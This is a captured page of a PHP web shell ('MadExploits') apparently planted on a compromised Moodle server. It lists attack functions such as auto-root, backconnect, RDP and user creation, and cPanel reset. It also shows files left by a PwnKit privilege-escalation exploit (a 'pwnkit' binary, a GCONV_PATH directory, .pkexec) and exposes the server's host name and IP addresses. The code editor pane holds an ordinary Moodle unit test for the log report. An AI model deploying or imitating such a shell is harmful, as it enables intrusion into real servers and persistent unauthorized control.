Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.58.73
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
report /
log /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
events_test.php
4.11
KB
-rw-r--r--
lib_test.php
3.98
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lib_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Tests for report library functions. * * @package report_log * @copyright 2014 onwards Ankit agarwal <ankit.agrr@gmail.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later. */ defined('MOODLE_INTERNAL') || die(); global $CFG; /** * Class report_log_events_testcase. * * @package report_log * @copyright 2014 onwards Ankit agarwal <ankit.agrr@gmail.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later. */ class report_log_lib_testcase extends advanced_testcase { /** * @var stdClass The user. */ private $user; /** * @var stdClass The course. */ private $course; /** * @var \core_user\output\myprofile\tree The navigation tree. */ private $tree; public function setUp(): void { $this->user = $this->getDataGenerator()->create_user(); $this->course = $this->getDataGenerator()->create_course(); $this->tree = new \core_user\output\myprofile\tree(); $this->resetAfterTest(); } /** * Test report_log_supports_logstore. */ public function test_report_log_supports_logstore() { $logmanager = get_log_manager(); $allstores = \core_component::get_plugin_list_with_class('logstore', 'log\store'); $supportedstores = array( 'logstore_database' => '\logstore_database\log\store', 'logstore_legacy' => '\logstore_legacy\log\store', 'logstore_standard' => '\logstore_standard\log\store' ); // Make sure all supported stores are installed. $expectedstores = array_keys(array_intersect($allstores, $supportedstores)); $stores = $logmanager->get_supported_logstores('report_log'); $stores = array_keys($stores); foreach ($expectedstores as $expectedstore) { $this->assertContains($expectedstore, $stores); } } /** * Tests the report_log_myprofile_navigation() function as an admin viewing the logs for a user. */ public function test_report_log_myprofile_navigation() { // Set as the admin. $this->setAdminUser(); $iscurrentuser = false; // Check the node tree is correct. report_log_myprofile_navigation($this->tree, $this->user, $iscurrentuser, $this->course); $reflector = new ReflectionObject($this->tree); $nodes = $reflector->getProperty('nodes'); $nodes->setAccessible(true); $this->assertArrayHasKey('alllogs', $nodes->getValue($this->tree)); $this->assertArrayHasKey('todayslogs', $nodes->getValue($this->tree)); } /** * Tests the report_log_myprofile_navigation() function as a user without permission. */ public function test_report_log_myprofile_navigation_without_permission() { // Set to the other user. $this->setUser($this->user); $iscurrentuser = true; // Check the node tree is correct. report_log_myprofile_navigation($this->tree, $this->user, $iscurrentuser, $this->course); $reflector = new ReflectionObject($this->tree); $nodes = $reflector->getProperty('nodes'); $nodes->setAccessible(true); $this->assertArrayNotHasKey('alllogs', $nodes->getValue($this->tree)); $this->assertArrayNotHasKey('todayslogs', $nodes->getValue($this->tree)); } }
Close